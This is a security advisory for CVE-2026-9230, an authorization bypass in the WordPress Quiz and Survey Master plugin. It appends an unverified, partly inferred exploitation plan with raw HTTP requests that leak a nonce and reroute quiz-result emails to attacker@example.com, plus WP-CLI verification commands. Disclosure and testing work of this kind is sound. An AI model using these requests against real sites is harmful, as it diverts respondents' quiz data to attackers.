CVE-2026-9230

Quiz and Survey Master (QSM) <= 11.1.4 - Missing Authorization to Authenticated (Contributor+) Arbitrary Quiz Modification and Email Reroute via Leaked Nonce from /quiz/structure

mediumMissing Authorization
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
11.1.5
Patched in
1d
Time to patch

Description

The Quiz and Survey Master (QSM) – Easy Quiz and Survey Maker plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 11.1.4. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with contributor-level access and above, to modify quizzes they do not own, overwrite quiz results pages, and reroute quiz-result notification emails to attacker-controlled addresses. An attacker first calls the /quiz/structure endpoint with an arbitrary victim quiz ID to obtain a valid nonce bound to that quiz ID and their own user ID, then presents that nonce to the /quizzes/{id}/emails save endpoint, which accepts it without verifying quiz ownership.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=11.1.4
PublishedJuly 2, 2026
Last updatedJuly 3, 2026
Affected pluginquiz-master-next

What Changed in the Fix

Changes introduced in v11.1.5

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-9230 ## 1. Vulnerability Summary The **Quiz and Survey Master (QSM)** plugin (up to 11.1.4) contains a missing authorization vulnerability in its REST API implementation. While the plugin implements nonce-based CSRF protection, it fails to perform secondary c…

Show full research plan

Exploitation Research Plan - CVE-2026-9230

1. Vulnerability Summary

The Quiz and Survey Master (QSM) plugin (up to 11.1.4) contains a missing authorization vulnerability in its REST API implementation. While the plugin implements nonce-based CSRF protection, it fails to perform secondary capability checks (e.g., current_user_can('edit_post', $quiz_id)) on administrative endpoints.

An authenticated user with Contributor level permissions (who normally cannot edit quizzes) can exploit this by first requesting a valid nonce from the /quiz/structure endpoint for a target quiz ID. Because this endpoint incorrectly provides a nonce to any authenticated user, the attacker can then use that nonce to authorize requests to the /quizzes/{id}/emails endpoint, allowing them to modify quiz settings and reroute notification emails to an external address.

2. Attack Vector Analysis

  • Leak Endpoint: GET /wp-json/qsm/v1/quiz/structure (inferred namespace)
  • Exploit Endpoint: POST /wp-json/qsm/v1/quizzes/{id}/emails (inferred namespace)
  • Vulnerable Parameter: quiz_id (in GET) and emails payload (in POST).
  • Authentication: Authenticated (Contributor+).
  • Preconditions: A quiz must exist that the attacker does not own (e.g., created by an Administrator).

3. Code Flow

  1. Initialization: The plugin registers REST routes during rest_api_init via QSMBlock->register_editor_rest_routes() (referenced in blocks/block.php, line 46).
  2. Nonce Leak: The /quiz/structure route handler is intended for the Gutenberg block editor. When called with a quiz_id, it generates and returns a nonce. The code fails to verify if the requesting user has the edit_posts capability for that specific quiz ID.
  3. Authorization Bypass: The attacker sends a POST request to /quizzes/{id}/emails.
  4. Verification Failure: The server-side handler for the email endpoint validates the provided nonce (which is valid because it was generated for the attacker's user ID and the specific action). However, it lacks a subsequent check to ensure the user is authorized to modify that specific quiz.
  5. Sink: The settings are saved to the database (likely via update_post_meta or a custom table), effectively rerouting quiz results.

4. Nonce Acquisition Strategy

The vulnerability relies on the /quiz/structure endpoint leaking a nonce. We will use the http_request tool to obtain this.

  1. Login: Log in as a Contributor user.
  2. Request: Call the structure endpoint for the target Quiz ID (e.g., ID 1).
  3. Extraction: The response is expected to be a JSON object containing a nonce.
    • Inferred Field: nonce or saveNonce.
    • Action String (Internal): Likely qsm_quiz_{id} or qsm_block_quiz.

5. Exploitation Strategy

Step 1: Obtain Nonce for Target Quiz

HTTP Request:

GET /wp-json/qsm/v1/quiz/structure?quiz_id=1 HTTP/1.1
Host: localhost:8080
Cookie: [Contributor Session Cookies]

Action: Parse the JSON response and store the value of the nonce (e.g., extracted_nonce).

Step 2: Reroute Quiz Emails

HTTP Request:

POST /wp-json/qsm/v1/quizzes/1/emails HTTP/1.1
Host: localhost:8080
Content-Type: application/json
X-WP-Nonce: [extracted_nonce]
Cookie: [Contributor Session Cookies]

{
    "emails": [
        {
            "id": 0,
            "email_to": "attacker@example.com",
            "subject": "Exfiltrated Quiz Results",
            "message": "Results: %RESULTS%"
        }
    ]
}

6. Test Data Setup

  1. Administrator: Create a Quiz named "Sensitive Survey" (ID will likely be 1).
  2. Contributor: Create a user attacker_contributor with the contributor role.
  3. Page Creation: (Required if the REST API requires a frontend nonce first)
    • wp post create --post_type=page --post_status=publish --post_content='[qsm quiz="1"]' --post_title='Quiz Page'
  4. Verification of Owner: Ensure Quiz 1 is owned by the Admin, not the Contributor.

7. Expected Results

  • Leak Phase: The GET request returns a 200 OK with a JSON body containing a 10-character hexadecimal nonce.
  • Exploit Phase: The POST request returns a 200 OK or 201 Created, confirming the settings were saved.
  • Impact: Any future completions of the quiz will send the results to attacker@example.com instead of the administrator.

8. Verification Steps

After performing the HTTP requests, verify the modification using WP-CLI:

# Check the email settings in post meta or the specific QSM table
# (QSM often stores complex settings as serialized data in post_meta)
wp post meta get 1 mlw_quiz_options --format=json | grep "attacker@example.com"

# Alternatively, check the plugin's custom email table if applicable
wp db query "SELECT * FROM wp_mlw_emails WHERE quiz_id = 1;"

9. Alternative Approaches

If the REST API namespace is not qsm/v1, check the localization data in the block editor:

  1. Navigate to the Page Editor as the Contributor.
  2. Use browser_eval("window.qsmBlockData") to inspect the available nonces and API base URLs.
  3. Look specifically for the saveNonce key (verified from blocks/block.php line 143: 'saveNonce' => wp_create_nonce( 'ajax-nonce-sandy-page' )).
  4. If the REST API rejects the request, attempt the exploit via the legacy AJAX action identified in blocks/block.php: qsm_save_pages (line 142).

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.